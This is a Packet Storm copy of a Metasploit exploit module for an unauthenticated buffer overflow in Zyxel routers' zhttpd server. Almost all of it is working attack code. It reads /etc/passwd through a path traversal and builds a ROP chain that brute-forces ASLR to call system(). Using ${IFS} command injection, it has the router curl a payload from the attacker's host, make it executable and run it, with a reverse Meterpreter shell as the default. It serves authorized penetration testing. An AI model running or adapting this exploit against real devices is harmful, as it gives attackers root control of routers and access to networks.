Zyxel Unauthenticated LAN Remote Code Execution ≈ Packet Storm

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  ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel Unauthenticated LAN Remote Code Execution',
'Description' => %q{
This module exploits a buffer overflow in the zhttpd binary (/bin/zhttpd). It is present on more than 40 Zyxel routers and CPE devices.
The code execution vulnerability can only be exploited by an attacker if the zhttp webserver is reachable.
No authentication is required. After exploitation, an attacker will be able to execute any command
as root, including downloading and executing a binary from another host.
},
'License' => MSF_LICENSE,
'Author' => [
'Steffen Robertz <s.robertz[at]sec-consult.com>',
'Gerhard Hechenberger <g.hechenberger[at]sec-consult.com>',
'Thomas Weber <t.weber[at]sec-consult.com>',
'Stefan Viehboeck <v.viehboeck[at]sec-consult.com>',
'SEC Consult Vulnerability Lab'
],
'References' => [
[ 'URL', 'https://r.sec-consult.com/zyxsploit'],
],
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Payload' => {},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Targets' => [
[ 'Zyxel Device', {} ]
],
'DisclosureDate' => '2022-02-01',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80)
]
)
register_advanced_options(
[
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 7200])
]
)
end
def check
res = send_request_raw({
'uri' => '/Export_Log?/etc/passwd',
'method' => 'GET',
'rport' => datastore['RPORT']
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Vulnerable if res.to_s['root:x:0:0:']
return CheckCode::Safe
end
# Handle incoming requests from the router
def on_request_uri(cli, _request)
if !@payload_sent
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - A shell should connect soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end
end
def build_buffer_overflow_url(download_cmd)
libc_addr = 0xb6a38000
system_offset = 0x000376c8
system_addr = libc_addr + system_offset
mov_offset = 0x000f4ccc
mov_addr = libc_addr + mov_offset
r3_offset = 0x0010bdac
r3_addr = libc_addr + r3_offset
sp_inc_offset = 0x000f70ec
sp_inc_addr = libc_addr + sp_inc_offset
overflow_url = rand_text_alpha_lower(268)
overflow_url += [r3_addr].pack('I')
overflow_url += rand_text_alpha_lower(12)
overflow_url += [sp_inc_addr].pack('I')
overflow_url += [mov_addr].pack('I')
overflow_url += rand_text_alpha_lower(4)
overflow_url += [system_addr].pack('I')
overflow_url += rand_text_alpha_lower(24)
overflow_url += download_cmd
return overflow_url
end
def send_exploit(exploit_url)
send_request_raw({
'uri' => "/Export_Log?#{exploit_url}",
'method' => 'GET',
'rport' => datastore['RPORT']
})
Rex.sleep(6)
end
def exploit
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end
print_status("Attempting to exploit #{target.name}")
srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
payload_file = rand_text_alpha_lower(1)
# generate our payload executable
@payload_exe = generate_payload_exe
# Command that will download @payload_exe and execute it
download_cmd = 'curl${IFS}'
if datastore['SSL']
# https:// can't be a substring as the zyxel parser won't be able to understand the URI
download_cmd += '-k${IFS}https:`echo${IFS}//`'
end
download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};"
http_service = "#{srv_host}:#{srv_port}"
print_status("Starting up our web service on #{http_service} ...")
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => "/#{payload_file}"
}
})
print_status('Going to bruteforce ASLR, this might take a while...')
count = 1
exploit_url = build_buffer_overflow_url(download_cmd)
timeout = 0
until @payload_sent
print_status("Trying to overflow the buffer, attempt #{count}")
send_exploit(exploit_url)
count += 1
timeout += 6
if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! You were either very unlucky or the device is not vulnerable anymore!")
end
end
end
end